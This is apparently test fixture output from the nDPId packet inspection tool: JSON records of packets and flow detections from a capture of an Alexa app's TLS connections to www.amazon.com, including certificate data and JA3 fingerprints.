{"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","server_names":"amazon.com,amzn.com,uedata.amazon.com,us.amazon.com,www.amazon.com,www.amzn.com,corporate.amazon.com,buybox.amazon.com,iphone.amazon.com,yp.amazon.com,home.amazon.com,origin-www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=www.amazon.com","alpn":"h2,http\/1.1","fingerprint":"EF:14:6C:F1:5C:4A:F8:4D:BA:83:C2:1E:6C:5B:ED:C4:FA:34:1C:3E"}} +01472{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":82763,"pkt_caplen":833,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":833,"pkt_l4_len":799,"pkt":"ePiC0\/vCAMDKkVoBCABFAAMz1YtAAPMG0iI0VdHYrBAq2AG71Iuwz1npw\/ZK8IAYAHavUgAAAQEICm2bnXkA9k63HSAEZzBlMGMGC2CGSAGG+EUBBxcDMFQwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCoGCCsGAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQB4HMFiNVhH\/deb\/gTB86atVF4ywqr0xapUyerApNwQq\/ERx+P2vuV6cbn7nw+nwAPKmQ2C1\/5mrPKO+CN8i46q+JdQmfb3UoTuoYQVXYzQ5WxhHij7MjF7swqsQ6AJAagWS\/6Sw4vnUhMJSJti+y6cojNMGRQ1Mn010zjA5f2mqtQbJcXTwe66\/hVsPQIMJFgkX565MDEbMxCO2AmjPJFfLBm0dCw5zcfFfjJS+xPuB8aEo67ogH19P5klyyuA4HZedrQHXKAwHnWUs\/h+mP27rKq05NZ00cCJLBBUa+lOYqRx\/HeSlpKdROtQa1wj09sFAyeSF2EkjMuvIXq7h0QOFgMDAU0MAAFJAwAXQQQ1y7iRnHW3VDY1PYCjzM7D8B2gEdgVODVhoDvheQs+Vc40KfQdF1WgbIlWjQsTLmvSodoHbkDq\/EUGClnJCTH+BgEBAH+ak3vevbC804eFSvYlQzd\/stvCPDv5k5zc9jV+a0mfeIo9Sw6UfieSRW7\/3OJbsJ3IAmtFFdbLFm5bSiRUooBw1d6e3zTSCJSjrTo7ijPnxRQksV4ufwQyZ5sz1km9QaTz9hHOxSgiuUyfnkqpGngUhQVwAp7WHRm+YmdkwYaXSA4hc5tYxFoHwp+9kIMD8NuJPtkIg1sJJ60teIy0TxCaLX9o8LhdWo+YaTAnHHTal4JyulC8o4Mp6ErwgrQ\/R799vQ+7\/HMw7BQakjiEMI7htmdlfDLiy7vbYd+y9yBOKOZUP7g3WOJC9XHiqiGDL72FQc50tbLM43UR2dRzfBIWAwMABA4AAAA="} +00430{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":83834,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0BJpAAEAGWRSsECrYNFXR2NSLAbvD9krwsM9OmYAQAWJY4wAAAQEICgD2TsBtm515"} +00430{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":84152,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0BJtAAEAGWROsECrYNFXR2NSLAbvD9krwsM9UQYAQAW1TMAAAAQEICgD2TsBtm515"} +00430{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":84896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0BJxAAEAGWRKsECrYNFXR2NSLAbvD9krwsM9Z6YAQAXlNfAAAAQEICgD2TsBtm515"} +00430{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":85129,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0BJ1AAEAGWRGsECrYNFXR2NSLAbvD9krwsM9c6IAQAYRKcgAAAQEICgD2TsBtm515"} +00603{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":93250,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACyBJ5AAEAGWJKsECrYNFXR2NSLAbvD9krwsM9c6IAYAYQJNgAAAQEICgD2TsFtm515FgMDAEYQAABCQQT7d+0XtsreOeTMuXlOvg\/rKlFL2VsBDwHkngxHgE2ma9QdzkMq59zEHo8jSlx6UwRxQLsdtFJSeuG9FjVOA888FAMDAAEBFgMDACgAAAAAAAAAAD9dOW09+IkxwgBD4Mv+qwkCh5pOD3h9X3\/PaLRQa2A3"} +00441{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":99362,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqqU0VdHYrBAq2AG71I2zekUSpjRPT6AScSDSoAAAAgQFtAQCCAptF6XzAPZOvQEDAwg="} +00430{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":101270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0AfRAAEAGW7qsECrYNFXR2NSNAbumNE9Ps3pFE4AQAVdxMgAAAQEICgD2TsJtF6Xz"} +00432{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":143678,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0\/KJAAPMGrgo0VdHYrBAq2AG71Iw+cfkIGE+V5IAQAHYa3wAAAQEICmz\/BaoA9k69"} +02379{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":149888,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc\/KNAAPMGqGE0VdHYrBAq2AG71Iw+cfkIGE+V5IAQAHYuIwAAAQEICmz\/BasA9k69FgMDAFQCAABQAwPrfV2nVHL1VGkmiTkZgHlDEMFJGiDPBqJtWtGWkPbC8QDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwML6AsAC+QAC+EABp8wggabMIIFg6ADAgECAhAdSr2qeNCa\/nmdQbzrenZiMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYxMDMxMDAwMDAwWhcNMTcxMjMxMjM1OTU5WjBoMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEXMBUGA1UEAwwOd3d3LmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCWihndZ\/4HxzWdNmP\/XjAI8iPKFw5XnK0RlANu1+1aLE7FOkbZKWTYYjWnO0RKmikGZtj+Fozlg1YNgMevTUBC\/MCrCw3LPmxfivK2QgRYj3YOiYpu\/FAqvLSbRm6P0zNptlva8dvR1tbBSXbJefmeV8clJ+YPRNLdQU1pDNcTEWeUpT+LtWiYsQH870618nRXZdnNvM7HdF+9PLnCafgDEILucZGSU0EpVr6elGXTOP6WjIJoz4AXlhX1ltREi7FiJk5be7ZrrpXNjAJFrYR20hs8As791KsU0C5oCEqqkU3Q4HjZ3XohZQ4qIyIcMkvnXZgAkkGZ9A8jt9VC1cnAgMBAAGjggMpMIIDJTCB1AYDVR0RBIHMMIHJggphbWF6b24uY29tgghhbXpuLmNvbYIRdWVkYXRhLmFtYXpvbi5jb22CDXVzLmFtYXpvbi5jb22CDnd3dy5hbWF6b24uY29tggx3d3cuYW16bi5jb22CFGNvcnBvcmF0ZS5hbWF6b24uY29tghFidXlib3guYW1hem9uLmNvbYIRaXBob25lLmFtYXpvbi5jb22CDXlwLmFtYXpvbi5jb22CD2hvbWUuYW1hem9uLmNvbYIVb3JpZ2luLXd3dy5hbWF6b24uY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFYGJ\/J8QAABAMASDBGAiEA6fFlggg6W7QvWe9jf7KTwDKBjO3dGyhkPVZyzlOX5b8CIQCuPTe0zJihJrUjbnOuq6NcNCnkacxegjQwcBcg1ZwRXQB3AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABWBifyhoAAAQ="} +00788{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":282,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1490976041961,"flow_last_seen":1490976042149,"flow_tot_l4_data_len":1858,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":309,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54412,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02384{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":150124,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc\/KRAAPMGqGA0VdHYrBAq2AG71Iw+cf6wGE+V5IAQAHYW\/gAAAQEICmz\/BasA9k69AwBIMEYCIQDRlQQ8KC2R\/bvOeWJr0FGedxbjE4OglejZEYKSCHekRQIhALbGyJPwAagwlRnFD5iqE1ZzSTO6uadnKEazPJcW2sRnMA0GCSqGSIb3DQEBCwUAA4IBAQA65KlsAxxtgfs05qV0ywTqM6qGzBkMIgJzJpCh9OR+X+STrfjphnLQlOwIuHxiF0oVphsf9oYW6TYQimBIKoFpP94WbG2ojsr39YJ6kiDhudt3ef24QnZ3AtnXM5OLVv46iwZst4TwdwO3\/Ialn7ql3sVX7+13yscEXfwfMT0JI1yzl+vZ8tR6bc5X9HqwjuADJelImPs\/TxshDt3JRhbUuKcFxjaEcEtRqoGemgZgEpRnifUSBvnl01IVzb71DGWuBpx0qrpruMAUU1lOJrg\/rwQMSXC2lSZDiDn1cjK0z+XLi7x86N\/7jW6zKh5RjSgrr6H7ZhiwtwpJzLsjT1CXAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE="} +02388{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":150550,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc\/KVAAPMGqF80VdHYrBAq2AG71Iw+cgRYGE+V5IAQAHZu9QAAAQEICmz\/BasA9k69NlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDBlEWAAZNAQAGSTCCBkUKAQCgggY+MIIGOgYJKwYBBQUHMAEBBIIGKzCCBicwgZ6iFgQURSACqIuKZZ91+vXpChp40vA3C54YDzIwMTcwMzMwMDgyMTM1WjBzMHEwSTAJBgUrDgMCGgUABBTRsWSLjJ8N0Wujis0rUBfV+c\/AZAQUX2DPYZBV34RDFIpgKrL1evRDGO8CEB1Kvap40Jr+eZ1BvOt6dmKAABgPMjAxNzAzMzAwODIxMzVaoBEYDzIwMTcwNDA2MDgyMTM1WjANBgkqhkiG9w0BAQUFAAOCAQEAgQDMpzZdwJ3PrNgB8d8f1cjQX1Ry6VrhEzAt1lcEB4WgmdjO0Jj7\/gcGHmmN4xjsgLxWz0TLFJXU3wjsiTaR9iYjNwnlVX2RjmqVz5lsVlEMa28OUwUvMwlmN7cuMZgdMiCi\/EUGOIACQtCuusxL8xVXf3x1piP9W5dJahTjHK\/gDPNDIF+nVKPFnlMFE\/hen03A+k1mR9yGF\/JfOOfP\/b1322DA7bnEn3JSMiFcIxbsU2gE9h3ovCxMS6WLeuK87uLOMB+5jQuVgYqUfvRPYAHuBDr37eG8TeoadjSco88HooscltcumFNXAv5B6ADN85OBUnpTIBJzgqaLgcnVnqCCBG4wggRqMIIEZjCCA06gAwIBAgIQRGiQY2lIBdbK9v250cQFITANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE3MDIwNDAwMDAwMFoXDTE3MDUwNTIzNTk1OVowQDE+MDwGA1UEAxM1U3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQgT0NTUCBSZXNwb25kZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqK0Kffb5Auqq\/RTKlGMWnpdC7JmtnGiOAYwvZN2YjMK6fnb0hAgOMG1rLR76AfOlvGZpXezKtbbVssGNNzBnwJfejjdD4jlaNV3g2Sbl02\/W0C1EsVV7s4J8Dmxg7llU8aWUd6qxYyXvCNgMr0zT44ABlcJe7lYNxneZPdVb5+8NG48QecxpmEgLmwiH886a9SxZ\/5oFPCbvui09qrD9ZZDZeTWx3jja9a9brKoIv8Lz2opoIuWL\/3FE0ksMFSK5zl4n4ihm\/0beCKOUAGnRvV8Lf2TnNlIaBm4HCrofyw\/wGBxcmFekRRMYMG3tUe+29l40aopWwNOI7L3BhPMTrAgMBAAGjggEcMIIBGDAPBgkrBgEFBQcwAQUEAgUAMCIGA1UdEQQbMBmkFzAVMRMwEQYDVQQDEwpUR1YtRC0zODU3MB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB0GA1UdDgQWBBRFIAKoi4pln3X69ekKGnjS8DcLnjAMBgNVHRMBAf8EAjAAMG4GA1U="} +01265{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":284,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":8,"flow_first_seen":1490976041961,"flow_last_seen":1490976042150,"flow_tot_l4_data_len":4818,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":602,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54412,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","server_names":"amazon.com,amzn.com,uedata.amazon.com,us.amazon.com,www.amazon.com,www.amzn.com,corporate.amazon.com,buybox.amazon.com,iphone.amazon.com,yp.amazon.com,home.amazon.com,origin-www.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=www.amazon.com","alpn":"h2,http\/1.1","fingerprint":"EF:14:6C:F1:5C:4A:F8:4D:BA:83:C2:1E:6C:5B:ED:C4:FA:34:1C:3E"}} +01482{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":150641,"pkt_caplen":833,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":833,"pkt_l4_len":799,"pkt":"ePiC0\/vCAMDKkVoBCABFAAMz\/KZAAPMGqwc0VdHYrBAq2AG71Iw+cgoAGE+V5IAYAHYupAAAAQEICmz\/BasA9k69HSAEZzBlMGMGC2CGSAGG+EUBBxcDMFQwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCoGCCsGAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQB4HMFiNVhH\/deb\/gTB86atVF4ywqr0xapUyerApNwQq\/ERx+P2vuV6cbn7nw+nwAPKmQ2C1\/5mrPKO+CN8i46q+JdQmfb3UoTuoYQVXYzQ5WxhHij7MjF7swqsQ6AJAagWS\/6Sw4vnUhMJSJti+y6cojNMGRQ1Mn010zjA5f2mqtQbJcXTwe66\/hVsPQIMJFgkX565MDEbMxCO2AmjPJFfLBm0dCw5zcfFfjJS+xPuB8aEo67ogH19P5klyyuA4HZedrQHXKAwHnWUs\/h+mP27rKq05NZ00cCJLBBUa+lOYqRx\/HeSlpKdROtQa1wj09sFAyeSF2EkjMuvIXq7h0QOFgMDAU0MAAFJAwAXQQQovUsDelzP+300eHZ2BCwGeDPOa7iaJmr7DgKQj2XbL185epLF\/tk3XkBzIzqhSVj17Jgra\/VHE7vXKmSJVHjOBgEBAF2BK88pLTcsPvJaIWGO53R\/7eB\/bCZJG\/9eVIs8cLA2gXK7esT3hlY54FyTNZqHdF8uPbydFYiBzRtou64FZcMTi5HrCLZvD1yyUHsDkgkZR0uuWOBvuWrr\/Mp6ATE8NlsVv5b2V2D+bfInxIV+AJoAFvYcSPPMS00EhMrauJztbvGZVNkX18bc8K+9f\/Fpz82WKHtM9Zpzkpo3TyAqmV7Hb0ZfUXvc3\/VJx3sFUnBkQMi49eiH4cpQ9qbQBPV\/h9FKPLqU8NMKXRk\/ERSO1fofkRo\/ZsQH\/PbdrizyYtjpYG72t9xn2WqZsuGiCIkjIncsW0x3zL\/f92U12T1D\/yQWAwMABA4AAAA="} +00432{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":151366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA027BAAEAGgf2sECrYNFXR2NSMAbsYT5XkPnH+sIAQAWIUQAAAAQEICgD2Tsds\/wWr"} +00432{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":152110,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA027FAAEAGgfysECrYNFXR2NSMAbsYT5XkPnIEWIAQAW0OjQAAAQEICgD2Tsds\/wWr"} +00432{"flow_id":38,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":152350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA027JAAEAGgfusECrYNFXR2NSMAbsYT5XkPnIKAIAQAXkI2QAAAQEICgD2Tsds\/wWr"} +00433{"flow_id":38,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":152481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA027NAAEAGgfqsECrYNFXR2NSMAbsYT5XkPnIM\/4AQAYQFzwAAAQEICgD2Tsds\/wWr"} +00605{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976042,"pkt_ts_usec":160448,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACy27RAAEAGgXusECrYNFXR2NSMAbsYT5XkPnIM\/4AYAYQ7RgAAAQEICgD2Tshs\/wWrFgMDAEYQAABCQQRluscjGQCdu2XvVDVVXa\/SQCWnUOCc1iZw0uA9uJZLqIe+d90h7hytR5HvddSVZ5aMYBSIw2WcPXrYxJumqCNDFAMDAAEBFgMDACgAAAAAAAAAAFrVvn4O38YlWpUudaUIg3u9Lu6NxcADdHy7FN31erMV"} 